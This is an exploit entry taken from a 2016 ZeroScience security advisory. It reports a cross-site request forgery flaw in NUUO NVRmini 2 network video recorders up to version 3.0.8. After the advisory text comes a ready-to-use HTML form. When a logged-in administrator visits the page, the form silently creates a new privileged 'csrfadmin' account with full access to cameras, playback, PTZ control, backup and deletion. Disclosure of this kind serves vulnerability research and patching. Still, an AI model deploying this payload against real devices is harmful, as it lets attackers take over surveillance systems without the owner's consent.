NUUO NVRmini 2 3.0.8 – Cross-Site Request Forgery (Add Admin)
<!-- NUUO CSRF Add Admin Exploit Vendor: NUUO Inc. Product web page: http://www.nuuo.com Affected version: <=3.0.8 (NE-4160, NT-4040) Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: GNU/Linux 3.0.8 (armv7l) GNU/Linux 2.6.31.8 (armv5tel) lighttpd/1.4.28 PHP/5.5.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5349 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5349.php 14.01.2016 --> <!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 --> <html> <body> <form action="http://10.0.0.17/users_xml.php"> <input type="hidden" name="_password2" value="admin" /> <input type="hidden" name="addusername" value="csrfadmin" /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="cmd" value="adduser" /> <input type="hidden" name="group" value="poweruser" /> <input type="hidden" name="displaygroup" value="power user" /> <input type="hidden" name="magic" value="574" /> <input type="hidden" name="liveacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" /> <input type="hidden" name="pbacc" value="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" /> <input type="hidden" name="ptzacc" value="1" /> <input type="hidden" name="ioacc" value="1" /> <input type="hidden" name="backupacc" value="1" /> <input type="hidden" name="deleteacc" value="1" /> <input type="hidden" name="emapeacc" value="1" /> <input type="hidden" name="remotalkacc" value="1" /> <input type="hidden" name="logacc" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> |